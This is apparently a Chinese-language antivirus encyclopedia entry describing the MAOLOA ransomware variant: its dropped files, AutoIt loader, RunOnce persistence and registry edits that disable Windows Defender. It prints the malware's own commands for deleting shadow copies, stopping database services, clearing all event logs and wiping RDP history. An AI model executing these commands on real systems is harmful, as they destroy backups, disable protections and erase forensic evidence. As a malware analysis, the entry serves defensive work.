Ransom.Win32.MAOLOA.THAAHBA

它以其他(tā)恶意软件释放的文(wén)件或用(yòng)户访问恶意网站时不知不觉下载的文(wén)件的形式到达系统。它开始执行然后再删除。

新(xīn)病毒详细信息

它以文(wén)件的形式出现在系统中(zhōng)，可(kě)能(néng)是其他(tā)恶意软件投放的，或者是用(yòng)户在访问恶意网站时无意中(zhōng)下载的。

安(ān)装(zhuāng)

它植入下列文(wén)件：

• %User Temp%\7ZipSfx.{3 digit number}\kiwvyrcee.com → script used to trigger the malicious routine
• %User Temp%\7ZipSfx.{3 digit number}\cnbbrnrhi.com → used to generate rundll32.com
• %User Temp%\7ZipSfx.{3 digit number}\rundll32.com → AutoIt executable used to execute the ransomware
• %User Temp%\7ZipSfx.{3 digit number}\qnsdpztxh.com → obfuscated and encrypted ransomware
• %User Temp%\7ZipSfx.{3 digit number}\lozgzxher.com → encrypted Autoit decryptor
• %User Temp%\7ZipSfx.{3 digit number}\Q → decrypted Autoit decryptor
• %User Temp%\7ZipSfx.{3 digit number}\ids.txt -> contains error logs

它添加下列进程：

• "%System%\cmd.exe" /c echo ywrmqtdba
• "%System%\cmd.exe" /c cmd < kiwvyrcee.com
• certutil -decode lozgzxher.com Q
• %System%\cmd.exe /c @echo off
  sc config browser
  sc config browser start=enabled
  vssadmin delete shadows /all /quiet
  sc stop vss
  sc config vss start=disabled
  sc stop MongoDB
  sc config MongoDB start=disabled
  sc stop SQLWriter
  sc config SQLWriter start=disabled
  sc stop MSSQLServerOLAPService
  sc config MSSQLServerOLAPService start=disabled
  sc stop MSSQLSERVER
  sc config MSSQLSERVER start=disabled
  sc stop MSSQL$SQLEXPRESS
  sc config MSSQL$SQLEXPRESS start=disabled
  sc stop ReportServer
  sc config ReportServer start=disabled
  sc stop OracleServiceORCL
  sc config OracleServiceORCL start=disabled
  sc stop OracleDBConsoleorcl
  sc config OracleDBConsoleorcl start=disabled
  sc stop OracleMTSRecoveryService
  sc config OracleMTSRecoveryService start=disabled
  sc stop OracleVssWriterORCL
  sc config OracleVssWriterORCL start=disabled
  sc stop MySQL
  sc config MySQL start=disabled;
• ping -n 1 wnmosszxn
• rundll32.com Q
• %User Temp%\7ZipSfx.{3 digit number}\rundll32.com
• "%System%\cmd.exe" /c del %User Temp%\7ZipSfx.{3 digit number}\rundll32.com > nul
• %System%\cmd.exe /c @echo off
  vssadmin Delete Shadows /all /quiet
  reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
  reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
  reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
  for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil cl "%1"

自启动技(jì )术

它添加下列注册表项，在系统每次启动时自行执行：

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\RunOnce
WindowsUpdateCheck = {Executed Malware Directory}\rundll32.com

其他(tā)系统修改

它修改下列注册表项：

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows\HomeGroup
DisableHomeGroup = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender
DisableAntiSpyware = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\Real-Time Protection
DisableRealtimeMonitoring = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\Real-Time Protection
DisableBehaviorMonitoring = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\Real-Time Protection
DisableOnAccessProtection = 1